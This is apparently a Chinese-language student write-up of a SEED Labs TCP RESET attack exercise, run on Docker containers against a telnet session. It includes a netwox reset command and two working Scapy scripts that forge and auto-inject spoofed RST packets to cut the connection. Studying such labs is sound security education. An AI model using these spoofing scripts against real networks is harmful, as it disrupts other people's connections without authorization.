安装实验docker,保存下面的文件为docker-compose.yml:
version: "3"
services:
attacker:
image: handsonsecurity/seed-ubuntu:large
container_name: seed-attacker
tty: true
cap_add:
- ALL
privileged: true
volumes:
- ./volumes:/volumes
network_mode: host
Victim:
image: handsonsecurity/seed-ubuntu:large
container_name: victim-10.9.0.5
tty: true
cap_add:
- ALL
privileged: true
sysctls:
- net.ipv4.tcp_syncookies=0
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.5
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
User1:
image: handsonsecurity/seed-ubuntu:large
container_name: user1-10.9.0.6
tty: true
cap_add:
- ALL
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.6
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
User2:
image: handsonsecurity/seed-ubuntu:large
container_name: user2-10.9.0.7
tty: true
cap_add:
- ALL
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.7
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
networks:
net-10.9.0.0:
name: net-10.9.0.0
ipam:
config:
- subnet: 10.9.0.0/24
然后执行,安装docker镜像
docker-compose -f docker-compose.yml up -d
打开三个终端,其中一个终端为用户机,另两个终端开启docker,执行./run.sh
#run.sh
docker run -it --privileged "handsonsecurity/seed-ubuntu:large" /bin/bash
172.17.0.2为客户端,172.17.0.3为服务器,在服务器上运行./start.sh,开启telnet服务
/etc/init.d/openbsd-inetd restart
使用下面的命令可以查看是否打开了telnet
netstat -a | grep telnet
# tcp 0 0 0.0.0.0:telnet 0.0.0.0:* LISTEN
docker删除images,先执行docker images
查看待删除的镜像的ID,然后执行 docker ps -a
,查看有哪些容器正在使用该ID,然后对全部使用镜像ID的容器执行docker rm
,最后再运行docker rmi
。
攻击机IP:192.168.100.129
用户机IP:172.17.0.2
目标机IP:172.17.0.3
在攻击机上执行ifconfig
,查看网卡为docker0
然后执行 netwox 78 -d docker0 -s linkbraw
,发起reset攻击,在客户机上随便输入一个字符串,断开了连接
用wireshark抓包,可以截获两个RESET包
代码为reset_manual.py,建立telnet连接,用wireshark截取最后一个TCP连接报文,seq填写最后一个报文的ack字段
#!/usr/bin/python3
from scapy.all import *
print("SENDING RESET PACKET.........")
ip = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=46360, dport=23,flags="R",seq=4143252215)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
将截获的包中的信息填入reset_manaul参数里面,运行python文件,wireshark截获到了RESET报文
此时在用户端随便输入一个字符,就会断开连接,Connection closed by foreign host,攻击成功
抓包可以看到,第一行红色的是由攻击机发起的RESET攻击,接着第二行用户机发送了一个TELNET包,由于TCP中断,接着服务器向客户机发送了第三行的RESET包,断开了TCP连接
建立telnet连接,用wireshark截取最后一个TCP连接报文,代码为reset_auto.py
#!/usr/bin/python3
from scapy.all import *
SRC = "172.17.0.2"
DST = "172.17.0.3"
PORT = 23
def spoof(pkt):
old_tcp = pkt[TCP]
old_ip = pkt[IP]
ip = IP(src=old_ip.dst, dst=old_ip.src)
tcp = TCP(sport=old_tcp.dport, dport=old_tcp.sport, seq=old_tcp.ack, flags="R")
pkt = ip/tcp
send(pkt,verbose=0)
print("Spoofed Packet: {} --> {}".format(ip.src, ip.dst))
f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)
原始代码在sniff函数中必须加上 iface=‘docker0’,用netwox时也需要设置网卡为docker0,否则无法发起攻击
用户机连接中断
wireshark截包